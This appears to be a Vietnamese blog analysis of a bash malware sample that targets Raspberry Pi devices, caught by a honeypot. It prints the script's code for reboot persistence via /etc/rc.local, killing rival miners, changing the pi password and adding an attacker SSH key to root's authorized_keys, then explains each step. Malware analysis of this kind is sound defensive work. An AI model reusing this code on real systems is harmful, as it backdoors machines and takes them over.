Hôm nay chúng tôi có nhận được một mẫu mã độc bằng bash shell và được yêu cầu phân tích hanh vi của nó. dưới đây là chi tiết về hành vi của mã độc này.
Đầu tiên bạn có thể đọc toàn bộ mã độc của nó ở đây
https://gist.github.com/vncloudsco/4c375184f3e97d9bba27d13e9e6d5dbe
#!/bin/bash
MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG
killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER
BOT=`mktemp -u 'XXXXXXXX'`
Chúng ta sẽ tiến hành kiểm tra các hoạt động của loại mã độc này.
qua kiểm tra chúng tôi nghi nhận hệ thống đã bị lộ mật khẩu user nên sau khi xác thực thành công, kẻ tấn công sau đó thực thi hai dòng mã trực tiếp qua SSH. Ở đây, bằng cách sử dụng công cụ giám sát Honeypot của tôi, chúng ta có thể thấy hai dòng mã này được thực thi (cũng như xác thực ban đầu):
Vì vậy, hoạt động ở đây khá đơn giản và đơn giản. Kẻ tấn công đặt một tệp trên hệ thống của chúng tôi bằng scp , sau đó thực thi mã bằng bash. Chúng ta hãy nhìn sâu hơn vào tập tin ban đầu này được thả vào box để xem nó đang làm gì.
Trước hết, điều quan trọng là phải nhận ra rằng để tập lệnh này hoạt động, tài khoản bị xâm nhập phải có quyền root / sudo. Công việc đầu tiên của người đầu tiên là đảm bảo rằng đây là trường hợp, bằng cách đảm bảo $ EUID (ID người dùng hiệu quả) là 0 hoặc root:
Nếu ID người dùng hiệu quả không phải là 0, tập lệnh sẽ chạy lệnh sudo để sao chép chính nó vào thư mục / opt , sau đó xây dựng tập lệnh khởi động thông qua /etc/rc.local. Sau khi làm như vậy, kẻ tấn công khởi động lại máy và vì trình điều khiển bây giờ được cấu hình như một tập lệnh khởi động, nó sẽ chạy ngay khi hệ thống khởi động với quyền root.
Mặc dù phần này có vẻ thô sơ và khá đơn giản, nhưng nó thực sự khá lộ liễu trong ý định và nhắm mục tiêu của kẻ tấn công hoặc botnet. Đầu tiên, kẻ tấn công giả định rằng không có nghi ngờ rằng tài khoản mà họ đã xác thực ( pi) có đặc quyền sudo. Thứ hai, họ cho rằng tệp /etc/rc.local tồn tại, đây là một tính năng độc quyền của Debian. Tất cả những điều này kết hợp với thực tế là kẻ tấn công đang nghĩ rằng user pi có mật khẩu là raspberry, cho thấy mục tiêu duy nhất của phần mềm độc hại này là raspberry pi. Các pi là user có các đặc quyền sudo theo mặc định trên hầu hết các raspberry pi và các raspberry pi hầu như đều dựa trên Debian. Chúng ta có thể xác định rằng kẻ tấn công đang nhắm mục tiêu của raspberry pi.
Tiếp theo, dropper sẽ loại bỏ một danh sách các processes có khả năng chạy trên hệ thống, hầu hết tất cả đều là một loại Công cụ khai thác Coin:
Để duy trì sự đăng nhập về sau chúng dùng 2 cách xác thực
Đầu tiên, kẻ tấn công thay đổi mật khẩu của tài khoản pi thành một thứ khác mà raspberry mặc định , có khả năng cho cả mục đích kiên trì và để ngăn các phần mềm độc hại khác xâm nhập vào pi. Mã này thực sự được viết khá tốt ở đây bằng cách sử dụng một dạng mật khẩu băm thay vì triển khai nó trong bản plantext. Thứ hai, kẻ tấn công thêm khóa công khai RSA mới vào ủy quyền của root_keys. Điều này có nghĩa là kẻ tấn công luôn có thể SSH vào hệ thống bằng khóa riêng RSA được liên kết. Cả hai cùng có nghĩa là kẻ tấn công hầu như sẽ luôn có thể quay lại hệ thống bị nhiễm, từ việc đăng nhập vào tài khoản pi bằng thông tin xác thực đã sửa đổi hoặc bằng khóa SSH gốc.
Không có nhận xét nào:
Đăng nhận xét